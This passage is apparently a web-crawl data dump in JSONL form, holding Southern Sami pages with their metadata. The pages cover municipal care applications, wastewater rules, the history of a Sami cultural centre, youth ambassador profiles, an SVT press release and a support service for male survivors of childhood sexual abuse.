gååvnesidh.\nVihkeles jih ov-messie gierkie aarhth damtijidh, gusnie kåahpere jih gullie jih jeatjah mineralh leah, Bjerkegårde jeahta.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.nrk.no\/sapmi\/gullie-ohtseminie-1.12000414","date":"2021-09-19T06:32:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056711.62\/warc\/CC-MAIN-20210919035453-20210919065453-00047.warc.gz","language":"sma","language_score":0.9999165535,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999165534973145}","num_words":123,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie manne syökem, hur ansöker jag\nDatne jïjtje jallh dov saadthalmetjem viehkiegïetedallijem voeres- jih ov-vervide gaskesadta. Jis datne akten saadthalmetjem åtnah akten tjaaleldh tjaatsegem (fullmaktem)krïeven.\nSyökemem datne jïjtje laahpah jallh lïhkesadtjijem dam laahpa. Jis datne skïemtjegåetene leah dellie skïemtjesåjhtoebarkijidie viehkiegïetedallijem bïeljelieh.\nSyökemem\nDatne tjïelten viehkiegïetedallijem\/LSS-gïetedallijem gaskesadth mij dov syökemem dåastohte. Datne maahtah aaj dov syökemem rïekte daase seedtedh:\nBïerjen tjïelte\/Bergs kommun\nVerkställighet vård och omsorg\nBox 73\n845 21 Svenstavik\nNaemhtie barkoem deahpede\nMänngan datne dov ieriem sijse seedteme, dov bäjhkoehtimmiem registreren jih diarietjaaleldh sjädta eannnan maahta akten mijjen gïetedallijasse veedtedh. Syökemen\/bäjhkoehtimmien männgan, datne aktem hïejmemïnnemem akten viehkiegïetedallijijste åadtjoeh jallh akten såjhtoesoejkesjimmiem skïemtjegåetesne daajhtoen.\nAkten tjïelkestimmiem daajhtoen ihke dööpmedh mij daerpiesvoeth viehkijste datne åtnah.\nTjïelkestimmesne datne gyhtjelassh dan bïjre åadtjoeh\nDov\n- sosiale situasjovne\n- årromesijjem\n- vaajtelimmieh\n- maam datne jïjtje buektedh\n- healsoem\n- barkoem jïjtjse jielemisnie\n- mij jeatjah man bïjre sïjhth soptsestidh\nGïetedallijem jih nännoestimmiem\nGïetedallijisnie naan låhkoeh sillh leah. Mijjieh ieriem geahtjedibie jih dutnjien bïeljelibie jis tjoerebe jienebh bïevnesh ierese utnedh. Gïetedallijen männgan ieriem lea nännoestämman ryöjredamme.\nNännoestimmiem laejhtedh\nJis ih leah nännoestimmine fuakoes lea mij åådtjeme lea vihkeles ahte datne reeremereaktese laajhtah. Guktie datne darjoeh tjåadtjoen dunnie tjaaleldh nännoestimmesne datne åådteme.\nUppdaterad:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.berg.se\/48\/kommun-och-politik\/samiskt-forvaltningsomrade\/sidor-pa-samiska\/hokse-viehkie-jih-sajhtoe-omsorg-hjalp-och-vard\/baeriesalmetjh-aldre\/guktie-manne-syokem-hur-ansoker-jag","date":"2021-09-29T01:10:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780061350.42\/warc\/CC-MAIN-20210929004757-20210929034757-00390.warc.gz","language":"sma","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999915361404419}","num_words":188,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Emma Elliane Oskal Valkeapää, manne 21 jaepien båeries jïh Guovdageaidnuste jïh Gárasavvonistie Saepmien sveerjen bielesne båatam. Manne maana- jïh noereskuvlem Guovdageaidnusne veedtsim jïh Romsese juhtim gosse edtjim Medija jïh Kommunikasjovnesne vaedtsedh jåarhkeskuvlesne. Manne ovmessie barkoeh åtneme jïh aaj jaepielohkemem «saemien ietniengieline» illim Universiteetesne Romsesne.\nManne Guovdageaidnusne byjjenamme, onne saemien voene gusnie doh jeanatjommesh saemiestieh jïh gusnie dïhte saemien lea iemie bielie aarkebiejjeste. Manne saemien gieline, kultuvrine, båatsojne, beapmojne, vaarjoejgujmie byjjenamme jïh lïerim joejkedh mov maadtoeladtjijstie jïh fuelhkeste, jïh leam joekoen gijhteles dan åvteste. Manne aaj laavlomh tjaaleme jïh lååvleme mænngan lim 10 jaepien båeries, guktie musihke jïh joejke leah mov vaajmoen lïhke.\nManne aaj lyjhkem ålkone eatnamisnie årrodh, gööledh, daanhtsodh jïh laavlodh hijven musihkese, slaajperdidh jïh dokumentaarh jallh raajroeh vuartasjidh, kreatijve årrodh jïh vytnesjidh, fealadidh jïh festivaaline mïnnedh, jïh voelpigujmie årrodh. Manne aavodem vielie saemien kultuvren, histovrijen jïh seabradahken bïjre lïeredh jïh aavodem fealadidh bïjre jarkan Nöörjesne, skuvline mïnnedh jïh orre almetjh råakedh. Manne gegkestem mijjen barkoe goh saemien tsïeglh sæjhta meatan årrodh veartenem akten buerebe sæjjan darjodh!\nMïsse jeenjemes aavodh daejnie tsïeglejaepine?\nVielie saemien kultuvren, histovrijen jïh seabradahken bïjre lïeredh, jïh maehtedh dan bïjre bievnedh gaajhkide skuvlide mejtie edtjebe vaaksjodh daan jaepien!\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemiej bïjre daejredh?\nMijjieh akte åålmege jïjtse kultuvrine, gieline jïh aerpievuekiejgujmie mah leah jielije jïh evtiesuvvieh tïjje doekoe. Mijjieh båeries aerpievuekieh gorredibie men aaj orre jïh daajbaaletje jieledevuekieh åtnose vaeltebe. Manne vïenhtem vihkele åssjaldahkevuekiem «mijjieh jïh dah» luejhtedh jïh buerebh vuejnedh mijjieh seammavyörtegs saaht gïeh mijjieh libie jallh gubpede båetebe, daamtaj vielie ektesne utnebe goh dagke vïenhtebe J\nBööremes raerie jïengem tsööpkedh?\nUssjedidh ij mejtegh leah nåake jïh maam akt luste jiehtedh, jïh aaj föörhkedidh dan åvteste dan nåake, dïhte gujht sjeahta fïerhten aejkien, haha.\nMaam 10 jaepine darjoeh?\nVïenhtem manne luhkie jaepine tjahkesjem bååstede luhkie jaepieh ussjedem jïh daam tsïeglejaepiem mejjesne måjhtelem! Gegkestem manne annje jïjnjem föörhkedem jïh hijven åtnam, mov leah hijven voelph mov bïjre jïh mejnie akt nuhteligs jïh kreatijve barkeminie!\nMaam lih sïjhteme meatan vaeltedh akten aevries såålese, jïh man åvteste?\nMotovrevïnhtse..?\nGie dov saemien åvteguvvie jïh man åvteste?\nGellie saemien artisth, tjiehpiedæjjah, aktivisth, raaktan gaajhkesh mah tjarke barkeminie jïh tjïelkelaakan vuesiehtieh maam mielieh jïh pryöjjadieh. Men akte gujne maam gutnem altese musihken åvteste, eensi teeksti jïh barkoen åvteste saemien musihkem jïh kultuvrem geerjehtidh abpe veartenasse lea Mari Boine. Dïhte vihkeles okserïhpestæjja mijjese noeride mah minngesne båetieh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/emma-elliane-oskal-valkeapaa-3\/","date":"2021-10-27T23:30:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588244.55\/warc\/CC-MAIN-20211027212831-20211028002831-00335.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":389,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staare jïh dah stuerebe voenh leah tjïelten luajhtemh meatan. Stööremes luajhtemhvierhke lea Ön´esne, gaskoeh Upmejen jeanosne. Jollegraadh reejnemen mænngan dam jeanoen stræjmese luajhta. Dïhte mij aajmene reejnemen mænngan pelleterieh jïh bååstide eatnemasse gjöödselinie åtna.\nVoenesne jïh eejehtsdajvine daamtaj tjuara sjïere luajhtemh öörnedh. Tjaetsieohtjegåetide (WC) edtja dellie byjreske- jïh healsoevaarjelimmie moenehtsen luhpiem ohtsedidh. Dah raeriestæjjah byjreske- jïh healsoevaarjelimmie moenehtsisnie dan mænngan goerehtieh maam destie båata jïh guktie dïhte soejkesje byjreskem dæjpa, v.g. jis naan dåeriesmoerh destie sjïdtieh, tjaetsiem deejrehte. Daamtaj dejtie haammode laejriejuakame golme kammarh gusnie luajtemhtjaetsiem reejnie. Reejnemen mænngan tjaetsiem eatnamasse filtrere. Gosse ohtsedimmiem gietede dan åvteste tjuara maeksedh.\nJis gyhtjelassh tjïelten luajtemh, Vakin´m bieljeldh. Jis gyhtjelassh sjïere luajhtemh, byjreske- jïh healsoevaarejelimmiem bieljeldh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/luajhtemh.4.333c64e217718860a23121c.html","date":"2021-10-22T02:43:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585450.39\/warc\/CC-MAIN-20211022021705-20211022051705-00239.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":113,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage Beapmoe jïh healsoe Musihke Saemien 1 Saemien 2, 3 jïh 4 Siebriedahkefaage Saemien histovrije jïh siebriedahke Saemien musihke jïh scena Saemien visuelle kultuvre Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele Magkeres Bïevnesh Juekemeareena Aamhtesh Aerpiemaahtoe Beapmoe Vuelie Duedtie Histovrije Saemien histovrije Kultuvre Filme Kåanste Litteratuvre Musihke Siebriedahke Meedije Siebriedahkedaajroe Skuvle jïh ööhpehtimmie Saemiengïele Viehkiebaakoe Saemien åålmegebiejjie Saemien åålmegebiejjie","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ovttas.no\/sma\/artihkal_saemiej-aalmegebiejjie","date":"2021-10-24T23:07:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587606.8\/warc\/CC-MAIN-20211024204628-20211024234628-00567.warc.gz","language":"sma","language_score":0.9992950559,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9992950558662415}","num_words":58,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajkoe aktine indivijduelle soejkesje\n- iIndivijduelle soejkesje edtja darjodh guktie datne aktem ållesth, iktedamme jïh indivijduelle sjïehtedamme dïenesjefaalenassem åadtjoeh. Edtja gorredidh guktie iktegisth edtja akte dïenesjevedtije årrodh mij åejviedïedtem dov åvteste åtna, goh dïenesjedåastoje.\n- Edtja dov ulmieh, vierhtieh jïh dïenesjedaerpiesvoeth tjïelkestidh. Vijriesåbpoe edtja aktem vuarjasjimmiem darjodh jïh råajvarimmiejgujmie nïerhkedh mij maahta viehkiem iktedidh.\n- Soejkesje edtja ektiedahkoem nænnoestehtedh gaskem datnem, lïhkemes fuelhkieh jïh dïenesjevedtijh aktene reeremedaltesne, jallh reeremedaltesi dåaresth.\nDah joekehts aktöörh dïedtem utnieh laavenjostedh\nIndivijduelle soejkesje lea dïenesjedåastojen soejkesje. Daate sæjhta jiehtedh dov ulmieh edtjieh prosessem stuvredh. Goh utnije dle dov reakta, jïh aaj datnem haasta meatan årrodh dïenesjen daerpiesvoeth, vaajtelh jïh ulmieh buerkiestidh, mah leah vihkeles dutnjien aarkebiejjien jïh båetijen aejkien. Dïhte suerkie tjïelten healsoe- jïh hoksedïenesjistie jallh healsoesïelteste mïsse utnije govlehtalla, aktem jïjtjeraarehke dïedtem åtna ihke daate soejkesjebarkoe aalka. Jis datne dïenesjh daarpesjh jeatjah dïenesjevedtijijstie jallh etaatijste, dle dah aaj dïedtem utnieh laavenjostedh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.statsforvalteren.no\/sma\/Noerhte-Troondelagen\/Healsoe-jih-hokse\/Indivijduelle-soejkesje\/","date":"2022-01-18T20:19:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00357.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":144,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Historihke\nNoerhterïjhki Saemienraerie, mij lij Utsjokesne, njoktjen asken jaepien 1972 nænnoesti kultuvrejarngem Aarbortese tseegkedh.\nGolken 18.b Tilsynsrådet jïh Saemienskuvlen eejhtehraerien barkoemoenehtse åvteprosjektese beetnehvierhtieh ohtsin, guktie edtjin soejkesjdih guktie beetnehvierhtieh kultuvrejarngen tseegkemasse åadtjodh.\nEktietjåanghkosne voerhtjen 24. b 1975, gusnie Tilsynsrådet, Eejhtehraerien barkoemoenehtse jïh Helgelaanten Saemiej Saervie lin mealtan, dellie barkoemoenehtsem tseegkin mij edtji kultuvrejarngine barkedh. Daennie moenehtsisnie lin: Gaebpien Odd (Odd Kappfjell), Jaahkenelkien Aanna (Anna Jacobsen) jïh Lars Dunfjeld. Moenehtsen raeriestimmie, mij golken asken 1976 åvtese bïejesovvi, våaroeminie sjïdti guktie kultuvrejarngem hammoedidh dovne arkitektuvren mietie jïh mej ulmiej mietie dam kultuvrejarngen båetije biejjide stuvredh.\nÅajvaladtjh dam raeriestimmiem beetnehvierhtiejgujmie dåarjoejin - Staate, fylhke jïh tjïelth. Njoktjen asken jaepien 1980 Nöörjen kultuvreraerie 650 000 kråvnah prosjektese vedti, jïh jaepien 1981 dellie 1 000 000 kråvnah vielie lissiehti. Nordlaanten fylhke 20 % ... meeksi. Åarjel-Helgelaanten tjïelth aaj beetnegh laeviehtin. Aarborten tjïelte gööthsijjiem - geajnoem, tjaetsiem jïh kloahkem - öörni.\nSïjti Jarnge giesien 1982 tseegkesovvi. Njoktjen asken 1984 dellie debpelen dahkoe riejries, guktie åadtjoejin gåatan tjaangedh, dellie goh Nordlaanten fylhken saemien kultuvrekonferanse daesnie öörnesovvi. Åasa lij dellie 31.12.1985 4.516.132 kråvnah - badth ij lin gaajhkh tjïehtjelh aanje gaervies. Sïjti Jarngen heevehtimmie lij giesien jaepien 1987, gusnie staate, fylhke jïh Helgelaanten tjïelth lin mealtan.\nSijjie\nHelgelaante lea saemien dajve gusnie saemieh iktegish vyöseme. Eeremes daejnie dajvine...Kultuvremojhtesh, sijjienommh jïh saemien aerpie tjarki nænnoestieh saemiej leah nænnoes maadtoeh daejtie dajvide. Bijjelen 1800-jaepiej raajan gellene lehkesne saemieh dah mah lin jeenemes daejnie dajvine. 1850-jaepiej mænngan dah båantah jih gaertenh varki læssanin - goh dah böötin diekie juhtien.\nBåatsoe saemien identiteetem Helgelaanten dajvesne guadta - jilhts jïjnjh saemieh industrijesne-jïh service-jïeleginie barkieh. Saemien kultuvre eeremes båatsosne vååjnoe - goh gïele, duedtie jïh saemien vuekieh- voeth guktie gåårvedidh. Båatsoe dïhte mij garre daatjaldehtemem dåastoehtamme, dannasinie båatsoe saemien gïelen jïh kultuvren aevlierginie gohtje.\nIj leah rovnege Aarborten tjïelte faalije tjïeltine Sïjti Jarngese sjïdti. Tjïelten lea sjïere eatneme - gogkoe saemieh dovletji baelijste orrijamme guktie saemien kultuvremojhtesh nimhtie vååjnesasse båetieh. Dovne daebpene båatsoe eeremes saemien gïele-jïh kultuvreguedtije, badth dah gïeh gaertenem röönjin lin aaj saemien maadtojste.\nHattfjelldal lea Aarborte saemien. Nommeste maahta guarkedh daebpene aareh gïjre jïh buerie gåatome bovtside gïjrege.\nSïjti Jarnge diekie Aarbortese tseegkesovvi, jåhkoe Gaske-Nöörjen saemienskovle\/Sameskolen for MIdt-Norge lea Aarbortesne jaepien 1952 raejeste joe orreme. Dah göökte institusjovnh gelkieh ektese vyökedh jïh sinsitniem viehkiehtidh jïh dåarjodh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sijtijarnge.no\/sor\/gaetie\/historikk-og-lokalisering\/","date":"2022-01-27T00:19:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305006.68\/warc\/CC-MAIN-20220126222652-20220127012652-00578.warc.gz","language":"sma","language_score":0.9999730587,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999730587005615}","num_words":347,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SVT Nyheter (saernieh) orre saemien saerniebieline aalka gusnie dïhte guvvie jarngesne.\nDaan biejjien SVT Saepmie öövre orre saemien saerniebieline svt.se:sne aalka. Gaajhkh vuesiehtimmieh vuesehte almetjh vaajtelieh saemien saernieh mobijlesne vuartasjidh. Daate orre saerniebielie telefovnine sjiehtieh guktie maahta åajva laakan saernieh seamma gusnie jïh gåessie lohkedh.\nSvt:n saemien redaksjovne SVT Saepmie gïehteleminie dej faaleldahkem dovne tv:sne jïh gaskeviermesne evtiedidh. Daan biejjien orre saemien saerniebielie- svt.se\/nyheter\/sapmi aalka, mij edtja relevaante jïh gïengelåbpoe journalistihkem saemide vedtedh, gusnie svihtjeles guvvie jarngesne.- Luste- jïh vihkeles domtoe aktem digitaale saerniefaaleldahkem saemide faaledh, desnie gusnie guvvieh jarngesne. Mijjen redaksjovnen ulmie gaajhkesh dovnesh edtjieh nööredh seamma jeenjem saemien saernieh vuartasjidh goh daaroengielesne. Daate dorje saemien goltelæjjah stuerebe faaleldahkem åadtjoeh, Linda Hermanssone jeahta, redaksjovneåejvie SVT Saepmesne.\nSVT Saepmie åejvieredaksjovnem Gironisnie åtna, barkijigujmie mah leah bïjre jarkan hïspesovveme, saernieprogrammem Oddasatine jåarhke Nöörjen NRK:ine jïh Såevmien YLE:ine. Redaksjovne dam ektiebarkoem Sveerjen Radijoven saemien redaksjovnine jåarhke. Mubpien boelhkese dle soejkesjeminie 18 orre programmh saernieprogrammh- 15 minuhth Saepmeste darjodh.\nDaelie dïhte saemien goltelæjjah gïengelåbpoe sisvegem åådtje gusnie dïhte guvvie jarngesne.\nDïhte orre saemien saerniebielie lea dennie SVT:n barkosne gusnie dovne unnebelåhkoegïelh edtja govlesovvedh jïh gusnie jeatjah programmh aaj.\n- I måndags sände Lilla Aktuellt ett uppmärksammat och mycket uppskattat inslag om läget i Ryssland\/Ukraina och om hur konflikten påverkar Sverige. Nyhet\n- SVT fortsätter att fördjupa samarbeten med scener runt om i landet med SVT Scen. Och nu är det även klart att Hemmakultur får en fortsättning, efter s... Nyhet\n- Från och med 10 januari blir det nya sändningstider för både SVT:s sena lokala nyheter och för sena Sportnytt. Båda får tidigare sändningstider och av... Nyhet\n- Nästan 3,8 miljoner människor såg på Kalle Anka och hans vänner i SVT1 på julaftonen. Nyhet\n- I april åker debattprogrammet Sverige möts på turné till Luleå, Linköping, Uddevalla, Filipstad och Trelleborg. Sverige möts är programmet som diskute... Nyhet\n- Branschinnovationen Tydligare tal på SVT Play har uppmärksammats på flera sätt under hösten 2021. Tjänsten blev en av vinnarna på årets Kristallengala... Nyhet","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/omoss.svt.se\/arkiv\/nyhetsarkiv\/2021-12-01-svt-nyheter-saernieh-orre-saemien-saerniebieline-aalka-gusnie-dihte-guvvie-jarngesne..html","date":"2022-01-21T04:48:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320302723.60\/warc\/CC-MAIN-20220121040956-20220121070956-00007.warc.gz","language":"sma","language_score":0.9988719225,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.998871922492981}","num_words":317,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GÏEH LEAH \"UTSATTMANN\"?\nDaate organisasjovne barkeminie vuasteleminie seksuelle irhkemh maanaj vuestie.\nMijjieh vearmadahke almijste gïeh libie jïjtjh seksuelle irhkemem dååjrehtamme maanabaelien. Jïjtjemh dååjrehtsigujmie sïjhtebe jeatjah baernieh almah viehkiehtidh mah leah dam seammam sjïdteme tjirrehtidh goh mijjieh. Mijjieh åvtene vaedtsebe, sïjhtebe vuesiehtidh ihkie jieleme lea marhkanamme dle annje maahta tjuedtjielidh jïh buerie jielemem åadtjodh.\nMah sïjhth mijjen barkoem dåarjodh?\nVipps nr: 86670\nKontonommere: 3090 147 9468\nSïeltenommere: 914 596 874\nDokumentaare 2016\nMann. Utsatt.\nHver 12 gutt blir seksuelt misbrukt i Norge. Mørketallene er trolig store. Menn som ble misbrukt seksuelt som barn og en dømt overgriper kaster lys over tabuer få tør å snakke om.\nBYJHKESJIMMIE\nVïenhtim lim 40-jaepien baanhtsan båateme. Limen jååkedamme, orre mïelehke lij, jeatjah-ligke barkosne dåemiedim, jïjtjemem maskastim, bælloe læssani, seksuelle jieliemisnie aaj geerve; ae, ussjedim, buarene sån badth. Idtjin daalhkesh naan viehkine, idtjin doh jeatjah davvomevuekieh gih mejtie mov orre mïelehke sïjhti galkim pryövedh. Iehkedsbiejjien gåessie akt, buerie jïh jïermijes guejmine soptsesteminie lim, dillie voestes ïskeres mojhtesh munnjan böötin. Hïehkesth. Åejjie jamhkarosti. Dellie van guarkajim gujht. Meehtim jïjtje aelkiestidh jïelemem stuvrehtidh.Alma (55)\nAbpe maanabaeliem leam irhkemen bïjre mïeleme, men easkah goh 37 jaepien jïh tjaebpies baarnan aehtjine sjïdtim, assjaldahkh eelkin mannem tjarke sturredh. Aehtjine sjïdtedh buektieji båeries mojhtesh, jïh mænngan goh gieries tjædtjeme lij raaffan bïeseme gellie geerve jaepiej mænngan don beerkeles skïemtjelassen dïete, dle lij munnjan aaj aejkie jïjtjene tjoelmide aelkedh loetedh mejtie mïelim mov lin, men mejtie lim tjïekeme gaajhkijste jeatjabijstie.Alma (37)\nDeejrim mij akt båajhtede, idtjim badth daejrieh mij. 30 jaepieh nahkin åvtelen guarkajim. Mov barkoe sujhtemesuerkesne lij, jïh ikth barkijitjåanghkosne lin aamhtesem digkedeminie seksuelle irhkeldh baernien bïjre. Hïehkesth guarkajahtjim, daam hip lim jïjtje dååjrehtamme! Dellie jïh desnie mov prosesse eelki.Alma (69)\nDAESNIE MAAHTA VIEHKIEM OHTSEDH\nDÅARJOEJARNGH\nDåarjoejarngh seksuelle irhkemen vuestie lea faaleldahke gåabph gaajhkesh biesieh båetedh. Dejtie maahtah govlehtidh ihkie jeatjah faaleldahke dov, ij dåaktere gænnah daarpesjh datnem dahka tjaeliehtidh. Dejnie jarngine bïhkemdæjjajgujmie gaavnesjh gïeh mielieh man bïjre soptsesth jïh dah raeriestieh datnem maam dejnie darjodh.\nFAASTEDÅAKTERE\nDåaktere maahta soptsestimmieguejmine årrodh, jïh jis daerpies dle datnem vijriebasse tjaelehte soptsestallemasse psykolåågen gåajka. Dannasinie vihkele dåaktarasse soptsestidh mejnie datne vaajveminie.\nPOLITIJE\nPolitijese maahtah irhkeme-aamhtesem bæjhkoehtidh. Dah mieriedieh mah gelkieh aamhtesem aelkedh goerehtalledh jallh mah lea båarastovveme. Jis leah seksuelle irhkemem dååjrehtamme maahtah politijese bæjkoehtidh jïh dah jis datnem vijriebasse viehkiehtieh dagkeren sæjjan gusnie dah dåastoehtieh olmetjh gïeh irhkemem dååjrehtamme. Politijen aaj telefovne mïsse maahtah ringkedh soptsestidh jis bïlleminie gie akt irhkemen nuelesne.\nSÅJHTERH DPS\nsåjhtoem faala maam viehkiem daarpesjh; polikliniske soptsestallemh, dåehkieterapijh jïh årromem jïjjem biejjiem. Jis byjjes viehkiesysteemeste galka viehkiem åadtjodh dle tjuara dåaktere datnem dahka tjaeliehtidh.","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/aarjel.utsattmann.no\/","date":"2022-01-22T17:00:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303868.98\/warc\/CC-MAIN-20220122164421-20220122194421-00447.warc.gz","language":"sma","language_score":0.9999854565,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999854564666748}","num_words":410,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Nathaniel Holan Larsen, manne 20 jaepien båeries maarkasaemie Áravuopmiste Áhkánjárgan tjïeltesne. Manne saemien fuelhkeste båatam, jïh nöörjen hïejmegïeline åtnam daaroedehtemen gaavhtan. Dan gaavhtan leam noerhtesaemien lohkeme UiT:sne jïh gïelem bååstede vaalteme. Manne dovne nööremes tjïelteståvrosne jïh åerpeni gaskem. Mov lea ektiedimmie Trööndelagese dan åvteste aehtjebe lea debpede.\nJeenjesh mannem demtieh goh akte guhte ïedtjem åtna politihkeste. Men jis lea mij akt maam eahtsam dellie dïhte escape room. Manne jïh mov voelph buektiehtimh ikth Romsan geervemes tjiehtjelem loetedh, bielelen raerieh jïh tjoevkesem, dan åvteste åajaldimh tjoevkesem båaltajehtedh. Dïhte lea dïhte stööremes mij mov jieliedisnie heannadamme mænngan tsïegline veeljesovveme. Manne aaj dïhte almetje mij eahtsa tragi-lustes gærjah lohkedh jïh PS4:sne spealadidh.\nÅadtjodh tsïegline årrodh lea joekoen stoerre earoe. Manne tjarke aavodem bïjre jarkan laantesne fealadidh, jeatjah noerh gaavnedidh mah sijhtieh dan saemien bïjre lïeredh. Joekoen aavodem vielie lïeredh mov saemien maadtoen jïh histovrijen bïjre. Vïenhtem daate akte joekoen gieltege jaepie sjædta.\nMïsse jeenjemes aavodh daejnie tsïeglejaepine?\nManne jeenjemes aavodem SAS Eurobonus Gullie-kåarhtem åadtjodh. Ijje maa, manne aavodem jeatjah noerh gaavnedidh mah aavoedieh vielie dan saemien bïjre lïeredh, jïh dej gyhtjelassh vaestiedidh.\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemiej bïjre daejredh.\nSaemieh leah eevre iemie almetjh, men joekoen gellielaaketje. Mijjieh aalkoeåålmege maam dagke naakenh dååjroeh goh mystiske, men rïektesisnie libie eevre sïejhme almetjh, mah staarine jïh voenine årroeh jïh iphonem utnieh.\nBööremes raerie jïengem tsööpkedh?\nJïengetsööpkijem åestedh. Hehe. Men edtjem itjmies årrodh dellie lea hei jiehtedh, jïh gellie gyhtjelassh gihtjedh almetjen bïjre. Almetjh iehtsieh jïjtsh bïjre soptsestidh, dellie hijven dam nuhtedh.\nMaam 10 jaepine darjoeh?\nLuhkie jaepine leam sån minngemosth sivijleeknovmine sjïdteme jïh mov lea hijven barkoe Narvikesne. Gåetie aktine gaahtojne, jïh ektieårroje.\nMaam lih sïjhteme meatan vaeltedh akten aevries såålese, jïh man åvteste?\nManne lim sïjhteme meatan vaeltedh njaelkies seangkoem. Saaht guktie dle sïjhtem desnie joekoen guhkiem årrodh, man åvteste ij njaelkieslaakan åeredh mearan beerkemem vuertieminie.\nGie dov saemien åvteguvvie jïh man åvteste?\nMov saemien åvteguvvie lea tjidtjie. Dïhte mannem jïjnjem skreejrehtamme, jïh jïjnje mov stoerre ïedtjeste rïektesvoeten jïh hedtien åvteste leam tjidtjiebistie åådtjeme","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/nathaniel-holan-larsen-3\/","date":"2022-01-28T18:51:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00697.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":332,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gööleme\nAlmetjh eejnegen mearoegaedtien luvlelen vualkeme gööledh. Gööleme lij bielie jïjtjebïerkenimmeste, gaskem jeatjah gïetedimmine guktie bïerkenin, jallh lij åejviebaalhka.\nMaajhgööleme\nMearoegaadtan Ångermanlanden luvlelen 